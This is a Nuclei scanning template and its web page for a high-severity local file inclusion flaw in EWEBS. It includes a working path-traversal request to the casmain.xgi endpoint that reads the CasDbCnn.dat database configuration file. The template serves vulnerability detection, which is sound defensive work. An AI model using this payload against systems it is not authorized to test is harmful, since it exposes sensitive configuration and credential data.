EWEBS - Local File Inclusion

ID: ewebs-arbitrary-file-reading

Severity: high

Author: pikpikcu

Tags: ewebs,lfi

Description

EWEBS is vulnerable to local file inclusion and allows remote attackers to disclose the content of locally stored files via the ‘Language_S’ parameter supplied to the ‘casmain.xgi’ endpoint.

YAML Source

id: ewebs-arbitrary-file-reading

info:
  name: EWEBS - Local File Inclusion
  author: pikpikcu
  severity: high
  description: EWEBS is vulnerable to local file inclusion and allows remote attackers to disclose the content of locally stored files via the 'Language_S' parameter supplied to the 'casmain.xgi' endpoint.
  reference:
    - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E6%9E%81%E9%80%9AEWEBS/%E6%9E%81%E9%80%9AEWEBS%20casmain.xgi%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: ewebs,lfi

http:
  - method: POST
    path:
      - '{{BaseURL}}/casmain.xgi'

    headers:
      Content-Type: application/x-www-form-urlencoded

    body: "Language_S=../../Data/CONFIG/CasDbCnn.dat"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "[Edition]"
          - "[LocalInfo]"
        condition: and
        part: body

      - type: status
        status:
          - 200
# digest: 4a0a004730450221008bff81c1c541c38b6d399737ddc034521dabed49e0b307261b3af5d423440a6602201c66535f3c911901750a5bacd0b3026bc57d2e86295598510ccf42cf08c7d74d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/ewebs-arbitrary-file-reading.yaml"

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